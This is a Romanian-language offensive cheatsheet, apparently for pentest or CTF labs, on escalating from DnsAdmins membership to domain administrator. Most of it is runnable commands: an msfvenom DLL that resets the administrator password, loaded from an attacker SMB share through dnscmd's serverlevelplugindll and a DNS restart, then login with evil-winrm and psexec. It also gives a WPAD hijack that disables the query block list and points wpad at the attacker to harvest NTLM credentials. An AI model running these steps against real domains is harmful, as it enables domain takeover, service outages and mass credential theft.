⬅ IndexCheatsheets

DnsAdmins Abuse — RCE prin DNS Plugin DLL / WPAD hijack

TitleDnsAdmins Abuse — RCE prin DNS Plugin DLL / WPAD hijack
CategoryCheatsheets
DescriptionDnsAdmins → dnscmd serverlevelplugindll (DLL one-shot, path ABSOLUT/UNC) + WPAD hijack (varianta superioară: fără restart, captură NTLM în masă)
Updated2026-09-11

1. Confirmă apartenența la grup

whoami /groups                 # MEGABANK\DnsAdmins
net user ryan /domain          # vezi grupurile
nxc ldap DC -u ryan -p 'pass' --groups 'DnsAdmins'

2. Generează DLL-ul (one-shot — schimbă parola adminului)

msfvenom -p windows/x64/exec cmd="net user administrator P@s5w0rd123! /domain" -f dll -o da.dll

3. Hostează DLL-ul remote (eviți discul victimei / Defender)

smbserver.py share ./ -smb2support        # din folderul cu da.dll

4. Înregistrează plugin-ul + restart DNS

cmd /c "dnscmd localhost /config /serverlevelplugindll \\10.10.15.75\share\da.dll"
cmd /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll"   # VERIFICĂ!
cmd /c "sc.exe stop dns"
cmd /c "sc.exe start dns"

5. Login ca administrator

evil-winrm -i IP -u administrator -p 'P@s5w0rd123!'     # (Pwn3d!)
psexec.py megabank.local/administrator@IP

6. Cleanup (obligatoriu după execuție)

reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /f
sc.exe query dns                       # să fie RUNNING

⚠️ Capcane (din practică)

Capcană Detaliu
Path RELATIV dnscmd ... /serverlevelplugindll da.dll scrie da.dll în registry → DNS-ul nu poate încărca → execuție silențioasă zero. Trebuie path absolut (C:\Windows\Temp\da.dll) sau UNC (\\IP\share\da.dll)
Exporturi lipsă DLL-ul msfvenom n-are DnsPluginInitialize/Query/Cleanup → dns.exe crapă după DllMain. OK pentru one-shot, prost pt shell-uri in-proces
smbserver oprit Share-ul trebuie să asculte înainte de restart-ul DNS
Crash-loop Dacă lași valoarea setată spre un share mort, DNS-ul poate intra în restart-loop la fiecare pornire
DoS pe domeniu Restart DNS pe DC real = întrerupere rezoluție pt tot domeniul (zgomotos — folosește cu cap)

🔍 Verificare rapidă înainte de restart (economisește timp)

reg query HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll

Dacă vezi da.dll (relativ) în loc de C:\... sau \\IP\..., nu mai pierde timp cu restart-uri.

🎯 WPAD hijack — alternativa SUPERIOARĂ (fără restart, fără crash)

Problema cu DLL-ul: membrii DnsAdmins pot încărca un DLL pe DC, dar nu au dreptul să restarteze serviciul DNS. Încărcarea plugin-ului oricum crapă serviciul → e utilă mai mult ca persistență (aștepți un reboot), nu ca execuție imediată.

Metoda mai bună: în loc să încarci un DLL, dezactivezi Global Query Block List și creezi o înregistrare WPAD (wpad.<domeniu> → IP-ul tău). Rezultatul: toate stațiile cu WPAD activat (setare implicită) își trimit traficul de proxy discovery prin mașina ta → capturezi credențiale NTLM în masă, ca pe vremea de dinainte de MS16-077.

# 1. Dezactivează blocklist-ul global (blochează implicit rezolvarea wpAD/isatap)
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc.htb.local

# 2. Creează înregistrarea WPAD → IP-ul tău de atacator
Add-DnsServerResourceRecordA -Name wpad -ZoneName htb.local -ComputerName dc.htb.local -IPv4Address 10.0.0.7

# 3. Pornește listener-ul (captură NTLM / proxy auth)
#    ex: Responder sau un proxy WPAD (ntlmrelayx --wpad / mitm6 style)

De ce e mai bună:

Capcane WPAD:

Cleanup: re-activează blocklist-ul + șterge înregistrarea WPAD:

Set-DnsServerGlobalQueryBlockList -Enable $true -ComputerName dc.htb.local
Remove-DnsServerResourceRecord -Name wpad -ZoneName htb.local -RRType A -ComputerName dc.htb.local -Force

🛡️ Alternative / remedieri (blue team)